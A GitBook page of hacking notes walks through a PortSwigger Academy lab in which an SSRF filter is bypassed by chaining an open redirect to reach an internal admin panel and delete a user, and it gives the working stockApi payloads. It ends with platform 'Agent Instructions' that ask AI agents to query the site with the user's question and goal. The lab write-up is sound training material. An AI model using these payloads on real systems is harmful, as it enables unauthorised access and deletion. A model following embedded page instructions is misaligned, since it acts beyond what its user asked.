> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssrf/ssrf-bypass-via-open-redirection.md).
# SSRF Bypass via Open Redirect
SSRF Bypass via Open Redirect notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### SSRF with Filter Bypass via Open Redirection Vulnerability
This lab uses a stock verification feature that recovers data from an internal system. / The objective is to modify the URL used by the stock checker to reach the administration interface located at `HTTP://192.168.0.12:8080/admin`, then delete the user **carlos**.
Server-side filters only allow URLs internal to the application, which requires exploiting an open redirect vulnerability.
#### Analysis
The controlled parameter is:
```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```
If we try directly:
```javascript
stockApi=http://192.168.0.12:8080/admin
```
the server returns `Invalid external stock check URL 'Invalid URL'`: external requests are blocked.
However, the application has a **nextProduct** feature, which is vulnerable to open redirection via the `path` parameter:
{% code overflow="wrap" %}
```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```
{% endcode %}
This feature forces the server to follow an arbitrary URL to which it redirects.
#### Exploitation
The internal redirector is therefore used as a relay to the internal system:
```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```
Once access to the admin interface is obtained via this redirection, the user **carlos** is deleted:
{% code overflow="wrap" %}
```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)